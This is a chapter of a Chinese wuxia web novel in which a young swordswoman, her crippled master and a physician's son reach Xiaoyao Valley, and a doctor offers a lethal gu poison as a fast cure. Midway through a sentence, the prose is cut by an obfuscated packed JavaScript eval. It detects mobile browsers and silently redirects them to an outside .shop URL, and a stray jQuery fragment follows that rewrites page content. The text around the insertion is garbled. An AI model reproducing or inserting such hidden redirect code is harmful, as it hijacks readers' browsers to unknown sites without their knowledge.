马车到了宋辞修的私宅,琅琅迫不及待地要去找师父了,都没等宋辞修就自己一股脑地对着师父的居所而去。
宋辞修跟在后面,有些无奈,他在她心里怕是都排不上号。他再次确定琅琅就是上天派来收拾他的,连人情世故都不通,还希望她通情爱,路漫漫其修远兮矣。
“师父,我回来了。”人还没进屋里,声音便传到任凌霄的耳朵里。任凌霄在心里很是被安慰到,他这小徒弟很在意他。
“琅琅,今天有没有乖?遇到长辈有没有问好?他家长辈喜欢你吗?”任凌霄看着琅琅来到他身边坐下,后面没跟着宋辞修,便一连串发问道。
“我乖的,有问好的,祖母应该是喜欢我的,祖父不知道,我没怎么和他说话”。琅琅实话实说,她觉得祖母是喜欢她的,和她说话都是笑呵呵地。
“你与宋公子祖母说了什么?”任凌霄想知道细节,用来推断一下。
“祖母问我什么我就回答什么。”琅琅很认真地在回忆与祖母的对话,将她与祖母的话差不多一一复述给师父听。师父既然想听,那她就卖力地回想,满足师父的好奇心,她是个好徒弟。
任凌霄耐心地听小徒弟复述,他希望琅琅能得宋辞修祖父祖母的认可,这孩子,纯真又固执,虽然现在不通情爱,但以宋辞修的心智和手段,想要得到,那不是囊中取物一般。希望她未来的日子能收获幸福。
次日,天光破晓,宋辞修便带着琅琅与任凌霄动身,启程去往逍遥谷。
任凌霄腿脚不便,宋辞修早早吩咐侍从侍女仔细收拾马车,车厢里铺了厚厚一层松软棉絮,又备上软垫与薄毯,方方面面思虑周全,让他一路少受颠簸。
侍从小心翼翼将任凌霄抱进车厢安置妥当。任凌霄感受到身下柔软的褥垫,明白到宋辞修的一番用心,他望向跟他一同坐着的琅琅,心底不由得对两个年轻人往后的日子,生出几分真切的期许。
马车轱辘缓缓转动,渐渐驶离了京城。
去往逍遥谷的路途大约需要至少半个月的时间,行进中途,宋辞修收到线报,是潜伏在名剑山庄探查的人传回的。
消息称,名剑山庄大张旗鼓地联络了流云阁、烟雨楼、白云山庄等江湖势力以及一众在江湖上叫的上名字的剑客,声势浩大地对外放宣言:
昔日的天下第一剑客任凌霄,销声匿迹已有数年,久不现身江湖,却依旧稳稳占着第一剑客的名号,压得一众后辈难以出头。他隐退多年疏于练剑,一身剑术恐怕早已名不副实。一众剑道高手几番商议之后,决意重新排定江湖剑客的位次。
半年之后,于白云山庄筹办一场盛大的试剑大会,角逐出当世前三剑客,重新定位江湖剑道格局。
宋辞修将消息转述给任凌霄,任凌霄靠在柔软的软垫上,听完宋辞修转述的消息,眼中冷意很盛,并逐渐化为一层戾气。
车厢微微随着路面轻轻晃动,任凌霄看向宋辞修,神色郑重地开口:
“宋公子,请你实话告诉我,我还有恢复的可能吗?”
宋辞修迎上他凝重的目光,语气笃定:
“依晚辈判断,是有机会的。晚辈所学颇杂,医术远不及家父。但依我看,尽心医治一番尚有希望,我相信家父定然会有对策。”
宋辞修没说医治之路必定疼痛难熬,琅琅就守在她师父身侧,若是知晓过程要经受那般酷刑般的折磨,估计会舍不得师父去吃苦,做些意想不到的事来,例如她会直接去给她师父报仇,免得师父为了报仇,要恢复一身功力,承受莫大痛楚,这件事,他打算寻个没有琅琅在旁的时候,再单独同任凌霄细说。
任凌霄轻轻呼出一口气,脊背微微放松了些许。
“师父,这把剑,它是你的”。她赢来的名剑,一直没机会给师父看,师父也拿不了,现在趁这个时间,给师父说一声。
“琅琅先替为师保管一阵,这把剑,为师给它取名叫——渊虹,好听吗?”任凌霄抬眼看向身旁的小徒弟,用沙哑的声音缓缓开口。
沉如深渊,出若惊虹。
为铸成渊虹,他耗费了数载光阴,倾尽心力。可也恰恰是这柄剑,将他狠狠拖入命运的谷底。落难之后,他曾万念俱灰,动过一死百了的念头,但心底那股不甘却死死撑住了他。这些年,他反反复复被困在自我折磨与自我救赎之间,在煎熬里不断循环。
“好听。师父放心,我一定好好护住渊虹。”琅琅摸着冰凉的剑身,郑重地点了点头,将渊虹稳稳抱在怀中。
宋辞修一行如期抵达逍遥谷,进谷的路,是阿怀带琅琅出谷的那条,琅琅记得的。
车马行至逍遥谷谷口。一道人影踏着轻盈地轻功凌空而来,稳稳落在前路正中,正立在宋辞修坐骑之前。
来人躬身垂手,神色恭敬:“公子回来了。”
“阿殊,我父亲可在谷中?”宋辞修开口问道。虽然这个问题是废话,但还是要得确认一下的。
“神医自然是在的。”阿殊应声回话,心底却暗自腹诽,公子明明知道,神医是绝对不会踏出逍遥谷半步的,简直是浪费口水。
阿殊是四叔李执的徒弟,做事利落,但还是少年心性。他抬眼朝马车车厢看了一眼,心知车里另有客人,却不多问,侧身引路:“神医就在居所,公子请随我来。”
阿殊在前引路,一行人顺着石板小径往前走,半个时辰的时间,到了宋宴初居住的竹楼跟前。
宋辞修翻身下马,琅琅也出了马车,干脆利落一跃,直接从马车上跳落到青石地面。宋辞修掀开马车帘,弯腰进到车厢里,小心翼翼将任凌霄抱了出来。
“公子,这事交给我来便是。”阿殊先前不知车厢中的人不良于行,瞧见宋辞修亲自抱人下车,连忙快步上前,想要接过。
“无妨。”宋辞修回绝了他。
他稳稳托住怀中的任凌霄,迈步向着竹楼走去。
琅琅紧随在后,手里还抱着渊虹,阿殊也跟了上去。
宋辞修抱着任凌霄跨步踏入竹楼屋内,走到竹制软榻旁,稳当地将人安放上去。榻上铺着软垫,用料朴素,看着简洁干净,躺上去应十分舒适。
任凌霄靠在软垫之上,脊背微微放松,目光缓缓扫过这间清雅简朴的竹屋。
琅琅紧跟着跨进门,站在软榻一侧,乖乖等候宋宴初现身。
宋宴初从里间缓缓而出,看着自己的儿子带着上次的那个姑娘与一位病人而来,思索一番。
“父亲”。宋辞修看着自己的父亲出来,唤了一声。
“嗯”。宋宴初随意应答一声,慢步来到任凌霄所躺的竹榻旁边,来找他的人,自然都是看病的,而病人,一目了然。
任凌霄倚靠着软垫,稍稍挺直上身,对着宋宴初,沉声开口:
“宋神医,久闻大名。任凌霄不请自来,恳请神医助我。”
简简单单一句话,既报出了自己名号,也道明此行来意,言简意赅。
“任凌霄?第一剑客?”宋宴初发出疑问,他虽然不踏足江湖,但江湖上的大事,他一清二楚,逍遥谷虽然避世,但逍遥谷的人身在江湖。
“惭愧”。任凌霄知道自己目前的情况,的确是名不副实了。
“听闻江湖剑客榜将要重新洗牌,任大侠偏偏在这时现身,不可谓不奇怪。”
宋宴初一身素净白衣,伸手搭上任凌霄的手腕,指尖落在他脉上,一边凝神听脉,一边淡淡开口道,他是怎么做到一心二用的。
“是名剑山庄在背后一手策划,任前辈当年便是遭了名剑山庄的毒手。如今他们料到我与琅儿迟早会寻到任前辈,心中惧怕遭到报复,便借着试剑大会搅动江湖这一潭浑水,他们打得一把如意好算盘,拉拢各方势力一同入局,日后我们若是前去向他们发难,与他们一同进退的同伴便会多出不少。”宋辞修将大致情况说了一下,又将事情预测一番。
“一石二鸟之计,既能借试剑大会重新划定剑客位次,巩固名望,又能拉拢同盟一致对抗于我,苏槐的手段,一如以往的毒辣。”任凌霄表情平淡,像是说了一件与自己无关的事一样。
宋宴初除了听儿子说大致情况以外,还注意到了一个细节,儿子唤这小姑娘为琅儿。
这小姑娘,他记得叫琅琅,三年前他中蛊毒带回来的那个,当时要死要活的解蛊,现如今称呼人家那么亲密,这期间,有什么事情发生?有趣。
宋宴初目光轻轻掠过一旁的琅琅,忽然开口:
“琅琅代表我逍遥谷出战武林大会,一举夺得魁首,倒是又让我逍遥谷名声大噪。我本该道一声多谢,可转念一想,人怕出名猪怕壮,反倒不知这谢该不该说出口了。”
话音落下,屋内几人,除了琅琅,皆是一怔,连亲儿子都有些侧目。
平日里宋宴初温文清雅,言谈皆是斯文含蓄,没料到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866110|212199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他会说出这般直白俚俗的比方。
软榻上的任凌霄抬眸,看向宋宴初,神色里多了几分意外,随即轻轻扯了扯唇角:
“盛名招祸,眼下的任某便是最好的例子。”
琅琅茫然眨了眨眼,不太懂这其中深意,还是说道:“你不用谢我,非要谢我的话,就帮我好好医治师父”。
她的一句话又将周围气氛提起来,这丫头,怎么说话的?
“原来是师徒”。宋宴初自动忽略琅琅的话。
“嗯嗯,是师徒”。琅琅跟着重复。
宋宴初看了儿子一眼,儿子那一副心塞加无奈的眼神,把宋宴初逗笑了,他这儿子,终于有人能收拾了。
宋宴初心思回到任凌霄身上,二指搭在任凌霄手腕寸口之上,指尖轻重交替,感受脉象。
片刻过后,他松开,又换到另一只手腕重新诊脉,指尖微微用力。脉象虚浮散乱,气血大亏,内里经脉多处留有旧毒残留的痕迹。
诊完两手脉象,他将任凌霄的衣袖掀开,露出的手筋骨突显又瘦削,皮肤上交错着深浅不一的陈旧疤痕。指尖轻轻顺着他手臂经脉一点点按压探查,从肩一路摸到腕骨,每按一处便停顿片刻。
但凡触碰到断裂旧伤的位置,任凌霄肩头便会不受控制微微一颤,疼得牙关紧咬,一声痛哼都没有发出。
双臂探查完毕,他又俯身检查双腿。两条腿枯瘦得近乎皮包骨头,膝盖、脚踝处两道长长的伤疤格外刺眼。他用指腹轻叩骨头,顺着腿上残存的筋络一寸一寸摩挲按压,偶尔稍稍加重力道。
“这里疼吗?”宋宴初问道。
任凌霄缓缓摇头:
“几乎没有知觉,但偶尔会传来一点牵扯的钝痛。”
宋宴初站起身,取过一旁放置的银针,捏起一枚,针尖轻轻扎向他小腿几处穴位。一连数针落下,任凌霄只隐约感受到一点微弱酸胀,痛感十分微弱。
“手脚筋被利刃挑断,伤口当初处理粗糙,撕裂的筋络错位结痂长合,旧毒淤积在经脉深处数年不散,气血长期淤堵,加上你常年水米不好好进,身心郁结,损耗了本源元气。”
“琅儿,任前辈应该有些饿了,你去膳堂看看开饭了没?帮他打点回来,记得要打熟透软烂的吃食。”宋辞修悄悄吩咐琅琅。
“哦哦好的。”琅琅很乖地去了,她记得膳堂在哪里的。
旁边的阿殊有些觉得奇怪,现在才巳时中,离饭点还有一个时辰呢,公子现在就差人去饭堂,是不是早了些?
宋宴初目光落在任凌霄脸上,缓缓道出诊断结果:
“筋断可设法接续,肌体断骨皆可修复,只是耽搁时日太久,若是想要完完全全恢复如初,至少也要三年时间,任大侠可等得?”
“等不到了,宋神医,试剑大会半年之后便要举行,我誓要血洗当年耻辱,烦请神医帮帮我,什么代价我都能接受。”任凌霄从软垫上立起,眼底翻涌着焦灼与决绝。
空气一时沉沉凝滞。
“也有捷径,不过……”。宋宴初犹豫了。
“不过什么?神医。”任凌霄身子猛地前倾,声音陡然带上几分激动:
“任某大仇未报,倘若不能恢复往日身手,我宁愿一死,也好过这般窝囊苟活。还请神医务必替我想尽办法。”
他苦苦撑着这条残命苟活到如今,心中唯一的执念便是尽快洗刷当年那桩奇耻大辱,万万不能再等那么长时间,三年,一切已成定局,那又有什么意义。
宋宴初轻轻叹了一口气:“唉……罢了,世人皆唤我神医,这名号我实在受之有愧。我并无即刻便起死回生之能,只不过……
前些时日,三弟同阿木尔研制出了一种蛊毒,二人将它命名为回生。据他们所言,这蛊毒可有近乎起死回生之效。蛊虫入体,能够消解体内淤积的旧毒淤堵,打通周身经脉亦或是修复受损脉络,强健皮肉筋骨,充盈五脏六腑。”
他顿了顿,再道出残酷的后半段:
“只是这回生蛊,乃是十种毒虫相互斗争,用十种剧毒毒株混合喂养炼化而成,药性极为霸道,纵然能让人短暂恢复巅峰状态,却终究是饮鸩止渴。种下此蛊之人,至多一年,便会爆体而亡。”
话已出口,但宋宴初心底也说不清这般究竟是对是错。但作为男人的他,很有同理心,一个男人,若是连支撑自己活下去的信念都要崩塌了,也委实没有意义。